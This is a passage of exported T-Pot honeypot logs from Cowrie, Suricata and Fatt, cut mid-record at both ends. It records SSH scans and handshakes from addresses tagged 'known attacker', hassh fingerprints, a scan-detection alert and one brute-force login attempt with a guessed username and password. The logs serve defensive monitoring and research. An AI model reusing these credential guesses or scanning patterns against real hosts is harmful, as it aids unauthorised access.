"China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2038251701273918, "payload": "AAADzAYU7KHix1/v4pC4sM5WKaltagAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3739, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:46:39.483679Z", "@timestamp": "2021-09-20T11:46:39.483Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........._......V).mj...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31808	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.982443+03	2021-09-20 15:00:02.650716+03	{"_id": "vwYIA3wBvYTbRNuEwUZm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.982443Z", "@timestamp": "2021-09-20T11:47:56.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31588	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:46:39.483679+03	2021-09-20 15:00:02.362717+03	{"_id": "QwYHA3wBvYTbRNuEk0Ul", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3739, "dest_port": 22, "timestamp": "2021-09-20T11:46:39.483679", "@timestamp": "2021-09-20T11:46:39.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31589	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:46:40.959167+03	2021-09-20 15:00:02.363716+03	{"_id": "RQYHA3wBvYTbRNuEmEVY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [user1/qazwsx] failed", "session": "f13ed1d3c172", "@version": "1", "password": "qazwsx", "username": "user1", "timestamp": "2021-09-20T11:46:40.959167Z", "@timestamp": "2021-09-20T11:46:40.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31590	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:46:28.751412+03	2021-09-20 15:00:02.364716+03	{"_id": "HwYHA3wBvYTbRNuEZUWJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:55334 (192.168.176.2:22) [session: a9a99b728e51]", "session": "a9a99b728e51", "@version": "1", "protocol": "ssh", "src_port": 55334, "dest_port": 22, "timestamp": "2021-09-20T11:46:28.751412Z", "@timestamp": "2021-09-20T11:46:28.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31591	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:46:28.929101+03	2021-09-20 15:00:02.366716+03	{"_id": "IAYHA3wBvYTbRNuEZ0Ur", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1903509986657495, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55334, "dest_port": 22, "timestamp": "2021-09-20T11:46:28.929101Z", "@timestamp": "2021-09-20T11:46:28.929Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31592	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:28.931878+03	2021-09-20 15:00:02.367717+03	{"_id": "IQYHA3wBvYTbRNuEaEUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55334, "timestamp": "2021-09-20T11:46:28.931878", "@timestamp": "2021-09-20T11:46:28.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31593	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:46:29.999161+03	2021-09-20 15:00:02.369716+03	{"_id": "KwYHA3wBvYTbRNuEa0UU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 484248780953231, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37160, "dest_port": 22, "timestamp": "2021-09-20T11:46:29.999161Z", "@timestamp": "2021-09-20T11:46:29.999Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31594	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:46:29.484426+03	2021-09-20 15:00:02.370718+03	{"_id": "KQYHA3wBvYTbRNuEa0UU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:26.480911+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 484248780953231, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 37160, "dest_port": 22, "timestamp": "2021-09-20T11:46:29.484426Z", "@timestamp": "2021-09-20T11:46:29.484Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31595	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:46:29.744251+03	2021-09-20 15:00:02.372717+03	{"_id": "LAYHA3wBvYTbRNuEbEUR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37160, "timestamp": "2021-09-20T11:46:29.744251", "@timestamp": "2021-09-20T11:46:29.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31596	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:29.999903+03	2021-09-20 15:00:02.373718+03	{"_id": "LgYHA3wBvYTbRNuEbUVa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "ba1faa881985", "@version": "1", "timestamp": "2021-09-20T11:46:29.999903Z", "@timestamp": "2021-09-20T11:46:29.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31597	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:46:31.102375+03	2021-09-20 15:00:02.374718+03	{"_id": "MAYHA3wBvYTbRNuEcUVD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a9a99b728e51", "@version": "1", "duration": 2.3483073711395264, "timestamp": "2021-09-20T11:46:31.102375Z", "@timestamp": "2021-09-20T11:46:31.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31598	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:46:39.133892+03	2021-09-20 15:00:02.376716+03	{"_id": "PwYHA3wBvYTbRNuEkEWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3739 (192.168.176.2:22) [session: f13ed1d3c172]", "session": "f13ed1d3c172", "@version": "1", "protocol": "ssh", "src_port": 3739, "dest_port": 22, "timestamp": "2021-09-20T11:46:39.133892Z", "@timestamp": "2021-09-20T11:46:39.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31599	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:46:39.484347+03	2021-09-20 15:00:02.377718+03	{"_id": "QAYHA3wBvYTbRNuEkEWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f13ed1d3c172", "@version": "1", "timestamp": "2021-09-20T11:46:39.484347Z", "@timestamp": "2021-09-20T11:46:39.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31600	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:46:39.481219+03	2021-09-20 15:00:02.378717+03	{"_id": "QQYHA3wBvYTbRNuEkkUo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 2038251701273918, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3739, "dest_port": 22, "timestamp": "2021-09-20T11:46:39.481219Z", "@timestamp": "2021-09-20T11:46:39.481Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	